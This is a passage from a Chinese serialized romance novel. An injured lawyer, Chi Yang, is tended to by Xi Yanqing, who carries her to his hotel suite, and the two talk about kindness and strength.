池漾觉得今天本来就够麻烦他了,因此不想让他知道自己再次摔倒的事情,于是就随口扯了个谎。
不过,天生就不太会撒谎的池律师每次一撒谎,那理由绝对是相当的惊天地泣鬼神。
池漾看着自己这个狼狈倒地的样子,反其道行之,脱口而出就是一句:“因为我现在太美了。”
“太美了?”席砚卿沉沉的笑,“怕我对你有非分之想?”
池漾:“......”
此刻,她深刻怀疑自己刚才摔的不是腿而是脑子。
场面一度陷入尴尬......
还好,孟仲季同学的及时出现,果断扭转了这个尴尬的局面。
孟仲季住池漾对门,看到倚在门外的席砚卿,打了声招呼:“席总监,你怎么还在这里啊?是池律师有什么事吗?”
席砚卿轻抬眼睫:“我有东西落在池律师房间了,过来拿。”
两个人的一问一答通过手机,准确无误地传入池漾的耳朵。
听到席砚卿有东西落在她这里了,池漾便着急起身给他找。
结果起身太快,砰的一声,她的腿又撞上了门框。
......
接二连三的碰撞,再加上这次的痛感有些强烈,池漾没忍住,嘶了一声。
席砚卿跟孟仲季说话的功夫,也没让手机离开耳边,因此清清楚楚地听到里面传来的撞击声,以及她吃痛的声音。
他瞬间换了脸色,语气焦急:“你摔倒了?”
池漾正在想新的借口,没吭声。
听到这边一直没回话,席砚卿或许是怕自己刚才的语气吓到了她,毕竟刚才在山上受到的惊吓也不小,于是他放缓了语气,像哄小孩似的柔声说道:“听话,打开视频让我看看你。”
池漾本来觉得没啥大不了的。
可听到他这么温柔的哄她,她突然,就觉得有点想哭。
那些竭力视而不见的委屈,又慢慢积聚在了一起,令她忽视不得。
她声音带了点鼻音,喃喃道:“我现在一点都不好看,不想让你看。”
执拗地不想让他看到自己摔倒的事情。
席砚卿把手机从耳边拿开,捂住听筒,对孟仲季示意了一下。
看孟仲季跑着离开的背影,他才拿开手掌,强撑着跟她开玩笑:“刚才不还说自己太美了,怕我对你有非分之想的吗?”
“......”
“池律师,你这前后言语不太一致啊,你说说,我该信哪个?”
“......我没说过后半句话。”
“哪句?”
“怕你有非分之想的那句。”
“那你的意思就是,相信我没有非分之想了,既然池律师这么相信我——”席砚卿接过孟仲季从前台那里要过来的房卡,“那我进来了。”
池漾还没来得及回答,就听到了门卡感应的声音。
下一秒,刚才在电话里哄她的那个人就这么出现在了她面前。
他应该也是刚洗过澡,穿着白T黑裤,一身清爽。
席砚卿一开门,就看到了坐在地上捂着脚踝的池漾,正一脸无措地看着他。浴室水汽还没完全散开,她穿着白裙卧在木质地板上,眼睛里裹着一层雾气,眉睫轻颤。
他心猛地一沉,大步走向她,数不清这是今天第几次,再次不由分说地抱起了她。
池漾看着席砚卿和孟仲季越来越近的身影,低头看了一眼。只不过她看的不是脚踝,而是她的手腕,她没带手表,上面的那道疤痕清晰可见。
她一时慌张,赶紧伸出右手捂住了它。
席砚卿把她抱到床上,注意到她的动作,转过头对孟仲季说:“你们池律师脚崴了,可以麻烦你去楼下药店帮她买贴膏药吗?”
“哦,好。”孟仲季连忙应道,然后就飞快地跑了出去。
席砚卿低头,看她紧握着左手腕的右手,借口说了一句:“我借用卫生间洗一下手。”
池漾嗯了一声,看他转身,才慌张地拿起床头柜上的手表,动作迅疾地带了上去。
席砚卿在里面停留了一会儿,才若无其事的出来。
池漾靠在床头,本来是想给自己上药,后来又觉得药的味道有点大,就想着等席砚卿拿完落在这儿的东西走了之后,她再上药。
席砚卿擦干手,在床边的座椅上坐下,与她相距一米的位置。
他垂下目光,看到她的手腕上,果不其然多了一块儿手表。
“上药了吗?”席砚卿问。
“还没有。”
“怎么还没有上药?”
“我想等你......”
“池律,膏药!”池漾话还没说完,就被孟仲季急冲冲的呼喊声打断。
孟仲季太着急,直接让医生把治疗跌打损伤的膏药全部拿了一份,然后以百米冲刺的速度就往回冲。到了池漾房间,他直接一股脑把所有膏药都扔在床上,然后双手撑着膝盖,喘着粗气。
看他这个样子,池漾有些于心不忍,宽慰道:“你这么着急干嘛啊,我这又不是什么急症。”
孟仲季尽力平复着呼吸,断断续续地说:“我......没着急......池律......你快点贴上吧......”
席砚卿看了眼穿着睡衣的池漾,眉心一蹙,转头对孟仲季说:“今天谢谢你了,接下来的事情交给我就行了,你早点去休息吧。”
孟仲季看着席砚卿:“你?”
席砚卿表情沉肃:“嗯,我妈妈是医生,我从小耳濡目染,对待病人比较有经验。你早点回去吧,我给你们池律师上完药,她才能早点休息。”
池漾:这话听着怎么这么耳熟?
孟仲季听到这话,又对池漾叮嘱了几句,才转身离开。
池漾看着他的背影,忽然叫住他:“仲季,今天是我出的主意让你和村长上去拿手机的,没在约定地点等你们也是我擅自做主的,我滑倒是因为我自己不小心,这件事情从头到尾跟你没有一点关系,知道不知道?”
孟仲季回过头来,看着池漾的神情,心中有万千话语想说,但又不知道该从哪开口。
池漾看出他眼神里挥之不去的愧疚,继续宽慰道:“所以你不准因为这件事情自责。如果你因此自责,我心里会更加自责,这种状态非常不利于我伤口的恢复。”
到底是会对症下药,孟仲季最终点了点头。
-
孟仲季走后,房间只剩下了池漾和席砚卿两个人。
池漾想起他来的目的,问:“席总监,你什么东西落在这里了?”
席砚卿没说话,拿起床头柜上的药水和棉签,准备给她上药。
他看了一眼靠在床头蜷着腿的她,直入主题道:“腿伸过来。”
池漾没懂这是怎么个意思:“嗯?”
席砚卿看她一脸茫然的样子,唇角勾起一抹笑,缓缓道:“刚才我问你怎么还没上药,你说你想等我。”
池漾:???
我说过这话?
沉默几秒,她才反应过来,一本正经道:“哦,我不是那个意思,我说我想等你的意思是想等你走之后我再上药,这个药味道有点大。”
席砚卿嗤然一笑,眼尾挑起,反问道:“怎么?不相信我的技术?那时候在新加坡你给我看病我可是没嫌弃你啊,你这时候倒是嫌弃我来了?”
“......那谢谢了。”池漾没再反驳,略微把腿往前伸了伸。
其实她设想的场景是,她把腿往前一伸,席砚卿微微侧个身,就能给她上药了。
结果,席砚卿看她这个样子,二话不说直接抬起她的脚,放在了自己身上。
这咫尺之亲的触摸,让池漾脸唰一下就红了,有些难为情地说:“那是我的脚......”
重音落在“脚”字上。
席砚卿不以为
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然地回:“我知道,我又不瞎。”
池漾:“......”
虽然刚洗过澡,浑身上下都是干干净净的,但那毕竟是脚,正常人都会有些隔阂的吧。
但她转念一想,刚才他说他的妈妈是医生,从小言传身教,应该早已经习惯了吧。
想到这儿,池漾随口问道:“你妈妈是什么科的医生啊?”
“嗯?”似乎是为了让池漾对自己的医术更为信任,席砚卿回了句:“骨科。”
池漾哦了一声,没再继续问下去。
席砚卿认认真真地给她抹药。
气氛太安静,就不免生出些旖旎心思。
他想起那次在律所第一次见他。
她像大变活人一样,从一个扎着马尾辫的中学生瞬间变成了气质优雅的都市丽人。他还清楚地记得,她那天穿了条黑色雪纺长裙,长及小腿,一双黑色的细高跟挽在脚踝处,显得那双小腿笔直又纤细。
而现在,这双腿不加任何装饰,素净而下,是最天然的蛊惑。
池漾哪里会猜到他心里的风起云涌,以为他低着头不说话只是因为怕把她弄疼,于是也没敢打扰。
等到他抹好药,拿出膏药要贴的时候,池漾才反应过来他不是从孟仲季刚买的那包膏药里拿出来的,而是医生本来就开了膏药。
看到这一幕,池漾忍不住去想,为什么他刚才要让孟仲季去买膏药。
联想到他后来又进卫生间洗手的所作所为,池漾心中好像有了个答案。
这时候,膏药也贴好了。
池漾利落地把脚从席砚卿腿上伸下来,体贴道:“时候也不早了,席总监你也早点回去休息吧。”
席砚卿好整以暇地看着她,慢悠悠道:“又赶人?”
“......”
“你当时给我看病的时候,直接额头贴额头我都没说什么,我那时候也没急着赶你走吧,你这个小没良心的。”
“......”
池漾一时语塞,旋即转了个话题:“你刚才说有东西落在这儿了,什么啊?”
她搜寻了一圈,也没看到他落下的东西。
席砚卿看着她,笑说:“你。”
池漾指指自己:“......我?我是个东西吗?”
席砚卿被她找重点的能力气笑:“那你的意思是,你不是?”
池漾:......好冷的梗,但这个梗,好像是她自己挑起来的......
等等!
她好像找错重点了!
她无语的功夫,席砚卿已经起身开始给她收拾东西:“除了这个玩偶,还有什么是你睡觉必须要用的,水杯用带吗?”
池漾看着他一连串的动作,一时间没反应过来,鬼使神差地回了个用。
“等等等等等等......”等彻底反应过来之后,池漾一时激动地不知道说了几个等字,“这什么意思?”
席砚卿依旧镇定自若地收拾着她的随身用品:“你去我那儿住。”
“去你那儿住?”池漾惊得几乎是要喊了出来。
“嗯,”席砚卿一副理所应当的表情,“综合刚才的诊治医生、陆谨闻医生和我妈的意见,以及你刚才摔倒的现实情况,为了你的安全你今晚不能一个人住。”
池漾:我感觉跟你住我才不安全......
“那我也不能跟你住啊?”
我一个黄花大闺女,跟你一个大男人住算怎么回事啊!
席砚卿一副正人君子的模样:“你想什么呢,我定的是套房,有两个独立的房间,我们分开住。”
池漾:我想什么了?!
“那这样也不好吧......”
席砚卿步步紧逼:“你家人不也有医生吗?那你应该知道,医生最头疼的病人就是不听医嘱的那些人。”
理是这么个理,但实操起来又是另一回事儿。
池漾有点过不了心里那一关。
看她不松口,席砚卿倒也不强迫她,默默环视了一下她的房间。
池漾定的这间房虽然不是套房,但是面积也不小,要什么有什么,有点像五脏俱全的一居室。
席砚卿若有所思地走了一圈,最后非常民主地说:“我也不强迫你,你不想去也行。”
池漾正想点头,结果,紧跟着,就听到他来了句:“那只有我睡这儿了。”
池漾:??????
趁着她不知所措的劲儿,席砚卿乘胜追击:“你放心,我这个人不梦游、不打呼、不磨牙,睡起来非常安静,不会影响你。”
池漾:“......”
席砚卿一脸坦然地说完,作势就要躺下。
池漾身为律师,最擅长的就是替客户权衡利弊,做出最优的选择。
现在,权衡利弊权衡到她自己身上来了。
她目测了一眼沙发到她床上的距离,估计只有不到两米。最重要的是,哪怕隔着十万八千里,如果没有墙挡着,那也是在一个房间啊。
池漾在心中天人交战了几个回合,终于妥协。
“去你那儿......”
33. 善良
得到肯定答复后,席砚卿一把从沙发上站起,走到她身边,再次相当民主地开口:“要我抱你过去吗?”
池漾穿拖鞋的动作顿了顿,轻声说:“不用。”
席砚卿无所谓地耸耸肩,似乎是早就料到她会这么说。
然后,他动作利索地从池漾手中拿过东西,大步走到门口,提前为她开好门站在那里,好整以暇地等着她走过来。
池漾:“......”
我只是说不用你抱,但是你好歹也得扶着我吧。
我不仅左脚踝肿了,右边的小腿也有擦伤啊!
你让我怎么一个人走!
不过,池漾这个人就是死犟,别人是能不求人就不求人,她是能求人也不求人!
席砚卿站在门口,本来想等她能稍稍跟自己撒个娇、服个软,他哪舍得让她一个人走上去。
结果,没想到,哪怕走起来异常艰难,池漾仍然没开口说一个字。
席砚卿无奈地叹了口气,折返回她身边:“我说池律师,你也体恤我一下好不好?”
池漾:“......”
这什么意思,是你非要我去你那儿住的,并且我都没有让你抱了,我哪点不体恤你了?
“就凭你这速度,我今晚看来是没觉睡了。”
下一秒,席砚卿把东西往她怀里一塞,然后再一次打横抱起了她。
池漾:“......”
我感觉我这辈子的公主抱都在今天用完了......
-
席砚卿定的套房在六楼。
这个点有不少住客回来,看到这一幕公主抱都纷纷投来钦羡的目光。
甚至有些女生还按捺不住激动的情绪,丝毫不加掩饰地跟身边人感慨道:
“那个男人也太帅了吧,还公主抱,她女朋友也太幸福了吧。”
“我说你小点声,我刚才看他女朋友脸都红了。”
“那也不是我弄脸红的啊。”
......
池漾:忽然感觉我可以耳鸣的久一点。
感觉到自己越来越发烫的脸颊,池漾用余光相当心虚地瞟了一眼席砚卿,在感觉他目光将要落下的那一刻,破罐破摔地把自己的脸埋在了他肩上。
席砚卿察觉到她的动作,垂眸一笑,眼底似有桃枝斜逸,春风千里。
走到电梯前的时候,席砚卿才叫她:“等会儿再害羞,先起来按个电梯。”
池漾:“......”
谁害羞了!
她假装没有听到前半句话,腾出一双手,淡定地按下了上行键。
正好有人从一楼上来,所以电梯到的很快。
门开的那一瞬,电梯外的两个人和电梯里的人对上目光,继而面面相觑。
尤其是池漾,看到电梯里站着这么多人,并且所有人的目光还都集中在他们两个人身上的时候,脸上红晕又添一层。
虽然,两个人的位置还是有的。
但问题是现在席砚卿抱着她,占据的空间就自然而然大了点。
意识到这一点之后,池漾贴着席砚卿的耳垂,窃窃私语:“要不你先把我放下来吧。”
耳畔传来一阵温热,席砚卿垂眸看她,然后对电梯里面的人说了句:“不好意思,我们等下一班好了。”
但是!
热心肠和看热闹可是我国国民的天性!
深入基因难以改变的那种天性!
乘电梯的人们看到电梯外站着的两个人,还是俊男靓女的经典组合,再加上公主抱的经典动作,忽然来了兴致,两个人还没进来,就默契十足地开始自觉往里挤给这对佳人腾空间。
因此,席砚卿那句话一说出口,就立马收到了回应:“哎呀,等什么下一班啊,挤挤就好了。”
接着便是此起彼伏的附和声:
“对啊,挤挤就好了,这还这么大的空间呢!”
“是啊,快进来吧。”
“你男朋友都抱你这么久了,快让他进来歇歇。”
“......”
池漾听到这些话,把头埋在席砚卿肩上,直接装死。
席砚卿偷笑一声,彬彬有礼地回绝着笑意:“谢谢你们的好意,但是她害羞,就不了吧。”
电梯里的人只好悻悻地关上了电梯门,并且不约而同地发出了一声错过一场好戏的叹息。
等周围都安静了之后,池漾才重新探出头来,准备再去按一次电梯。
席砚卿却突然制止住她:“你怎么保证下一趟电梯里就没有人。”
池漾:“......”
我好像不能保证。
那所以呢?
没等她回答,席砚卿直接一个转身往步梯间走。
当池漾意识到他要抱着自己上六楼的时候,惊得下巴都掉了。
席砚卿一眼就看出她的心思,警告道:“不要妄图自己下来走,你身子动会给我增加工作量。所以,你要是心疼我,就安安生生地抱紧我,不要动。”
池漾:“......”
酒店的楼梯间安安静静,一盏盏声控灯,跟随着爬梯人的脚步,渐次发出柔和的光,将楼梯间切割出界限分明的明暗。
池漾被他抱在怀里,听着他的脚步声,看着他为她踏亮的盏盏灯火,感受着他近在咫尺的眉目清风。
他似苏轼《定风波》里的吟啸者,脚踏竹杖芒鞋,在她心头,吹醒一场料峭春风。
她似李白《山中问答》里的会心者,心中自有碧山潺水,带他去往天朗气清。
正所谓,“桃花流水窅然去,别有天地非人间。”
也许是周遭太安静,也许是距离太贴近,也许是他的体温太熟悉。虽然两个人都没有说话,池漾却在心里生出一种,他们已经认识了很久的渊源感。
不知不觉间,就到了六楼。
席砚卿没跟池漾商量,就把她抱到了那个带独立卫浴的房间。
在床上坐好之后,池漾没忍住问了句:“是不是很累?”
席砚卿嗤然一笑:“就你这儿小身板,我抱一辈子都不嫌累。”
一辈子?
虽然知道他这话没有承诺的意思,池漾的心还是噗通噗通地跳个不停。
心想还好她是等席砚卿把她放下之后才问的这个问题,要不这心跳速度,又跟上次测心率一样,昭然若揭了。
这次,可没有人能替她解围了。
席砚卿在她身边坐下,眉目和语气都温柔:“身体还有没有哪里不舒服?”
这声音于寂静夜色中悄然响起,像极了从森林里流淌而出的小夜曲,丝丝入扣。
池漾摇摇头,说没有。
却忽然,鼻子泛酸。
从漆黑冷寂的山路,到温暖明亮的房间,他抱着她,一路走来,担起了原本不需要他承担的责任与义务。
想到这儿,池漾感觉自己的胸口就像是堵了一团热气,散不出去,也无处落脚。
“我刚问了孟仲季,他说你们原定明天还有工作,”席砚卿为她排除着所有的后顾之忧,“我正好有个律师朋友来这边过暑假,专业能力绝对过关,对这边也比较熟悉,我让他明天带孟仲季过去。”
灯影虚拢着他的轮廓,他声音低沉却温柔。
池漾静静听着。
静静听着他就这样云淡风轻地,揽下了又一个不需要他承担的责任与义务。
她心中有愧,但一时间也找不到别的人来救场。
再加上她现在这种情况,去了反倒是添麻烦。
池漾只好点点头,硬着头皮说了声:“谢谢。”
虽然知道这声谢谢再真诚,都抵不过他为她做的万分之一。
“池漾。”
“嗯。”糯糯一声,带着鼻音,带着一股惹人心疼的滋味。
席砚卿把她的所有微表情都尽收眼底,问:“有话想跟我说吗?”
闻言,池漾怔了下,随即挪开视线。窗外是无边的星幕,一轮圆月悬
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挂其间,皎皎如盘,充当夜色里最明亮的指引者。
这轮圆月,她在几个小时前也看到过。
在她被痛感侵袭的时候,在她被寒意吞噬的时候,在她被恐惧和绝望打败的时候。
那一刻,她不是没有想过最坏的可能。
可最后,她却像做梦一样,于漫山遍野的恐惧和绝望中,捕捉到了他的身影。
那一刹那,心里什么不怕了。
死都不怕的那种。
想到这儿,池漾心底涌出一股难言的酸涩。
她把这份情绪压在心底,从窗外收回目光:“席总监,你第一次来律所的时候,问过我一个问题。你问我,法律对我而言是锋芒吗?你为什么要那么问我?”
他坐在从窗外溜进来的月光里,肩头一片橙意:“因为看到了你的简介上写的那句话。”
——所谓强大,是有锋芒的善良。
池漾继续追问:“那你觉得这句话对吗?”
席砚卿就沉默了那么一瞬,池漾就“剥夺”了他说话的权利。
她摇摇头,自我否定道:“我觉得不对。”
“席总监,在你今天找到我之前,我一直在想一件事情。我在想,如果我出了事儿,孟仲季该怎么办。”她嗓音沾染上几分低哑,“明明是我强势要求,让他跟村长一块上去拿手机的。是我要求的,不是他。可是,如果今天他没有遇到碰巧来这边出差的你,你又没有找到我,如果我真的出了事儿,他该怎么办。”
“所有人都会怪他,怪他把我丢下,怪他没有把我照顾好。”她声音带着哽意,“可事实,明明不是这样的。但孟仲季哪怕知道事实,他也不会去为自己辩解,他只会,不停地责怪自己。所以你看,虽然我们是出于善意来做的法援,但我差一点儿,就毁了他的一生,对不对?我这份自以为强大的善良,差点儿毁了他的一生,对不对?”
席砚卿心间突然泛起一种强烈的酸楚。
他很少让自己陷入这样的境地。
——为一些莫须有的事情,付出真情实感。
但此刻,他在劫难逃。
他忽然觉得难过。
在那样的时刻,她心里想的事情是:如果她出了事儿,别人会有多自责。
却不关乎自己。
他没遇见过这样的人。
不管是十年前的惊鸿一瞥,还是前一段偷偷塞给服务员的那张纸条,还是现如今,她在夜色中的喃喃低语。
她太善良了。
“嗯,那话不对。”
苍茫夜色里,他声音如缓慢涨起的潮,姗姗来迟地溢满了这寸方隅。
池漾闻言,倏地低了低头。
弯下来的后颈曲线,莹白纤细,显得羸弱。
他突然,很想抱抱她。
但捻了捻指腹,最终还是忍住了。
没身份,也没资格。
“池漾,”他在月色下叫她的名字,“善良就是强大,不需要任何的附加条件。”
夜沉至此时,无雨也无风。
池漾抬眸,对上他的双眼。
他目光沉静似湖,睫毛浓密似桨,将这浓稠的夜色,划开了一道月影。
他就沐在这片月光里:“没有锋芒的善良、没有棱角的善良、没有智慧的善良、没有深思熟虑的善良,都是强大。”
在此刻,她听到他的声音。
——柔软的、干净的、和煦的、澄澈的。
他温言暖语地,继续为她的心挡走一点风:“莽撞的善良、不计后果的善良、甚至让结果变得更糟糕的善良,也是一种强大。”
在此刻,她听懂他的弦外之音。
——他刚才的那句否定,不是在推翻自己那句话,而是为自己那句话,拓展了边界。
“所以,你的善良没有错。”
你的善良没有错。
没有人会因为你的善良遭受考验。
你也不会。
因为,有我在,你永远都不会有事。